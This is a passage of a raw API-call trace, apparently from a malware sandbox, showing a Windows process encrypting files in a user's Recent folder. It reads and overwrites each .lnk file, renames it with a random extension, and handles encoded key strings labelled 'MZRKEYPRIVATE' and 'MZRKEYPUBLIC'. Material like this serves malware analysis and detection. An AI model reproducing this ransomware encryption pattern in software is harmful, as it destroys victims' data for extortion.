dwReserved1=0xba1113e9, cFileName="6JmZ7I0MdR3MM0C Xp7.lnk", cAlternateFileName="6JMZ7I~1.LNK")) returned 1 [0079.593] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0079.593] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0079.593] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6JmZ7I0MdR3MM0C Xp7.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\6jmz7i0mdr3mm0c xp7.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe22994c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe22994c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe22994c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xf4d)) returned 1 [0079.593] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6JmZ7I0MdR3MM0C Xp7.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\6jmz7i0mdr3mm0c xp7.lnk")) returned 0x20 [0079.593] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6JmZ7I0MdR3MM0C Xp7.lnk", dwFileAttributes=0x80) returned 1 [0079.595] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0079.595] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0079.597] GetCurrentThreadId () returned 0xa30 [0079.597] GetCurrentThreadId () returned 0xa30 [0079.597] GetCurrentThreadId () returned 0xa30 [0079.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0079.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0079.598] GetCurrentThreadId () returned 0xa30 [0079.598] GetCurrentThreadId () returned 0xa30 [0079.598] GetCurrentThreadId () returned 0xa30 [0079.598] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6JmZ7I0MdR3MM0C Xp7.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\6jmz7i0mdr3mm0c xp7.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.598] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0079.598] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.598] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xf4d [0079.598] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.598] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0xf4d, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0xf4d, lpOverlapped=0x0) returned 1 [0079.600] CloseHandle (hObject=0x124) returned 1 [0079.600] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6JmZ7I0MdR3MM0C Xp7.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\6jmz7i0mdr3mm0c xp7.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.601] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0xf4d, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0xf4d, lpOverlapped=0x0) returned 1 [0079.603] CloseHandle (hObject=0x124) returned 1 [0079.763] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6JmZ7I0MdR3MM0C Xp7.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\6jmz7i0mdr3mm0c xp7.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6JmZ7I0MdR3MM0C Xp7.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\6jmz7i0mdr3mm0c xp7.lnk.zv7un")) returned 1 [0079.792] GetCurrentThreadId () returned 0xa30 [0079.792] GetCurrentThreadId () returned 0xa30 [0079.792] GetCurrentThreadId () returned 0xa30 [0079.792] GetCurrentThreadId () returned 0xa30 [0079.792] GetCurrentThreadId () returned 0xa30 [0079.792] GetCurrentThreadId () returned 0xa30 [0079.792] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3153ce0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3153ce0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3153ce0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x2018, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="6lsyG9.lnk", cAlternateFileName="")) returned 1 [0079.792] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0079.792] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0079.792] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6lsyG9.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\6lsyg9.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3153ce0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3153ce0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3153ce0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x2018)) returned 1 [0079.793] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6lsyG9.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\6lsyg9.lnk")) returned 0x20 [0079.793] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6lsyG9.lnk", dwFileAttributes=0x80) returned 1 [0079.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw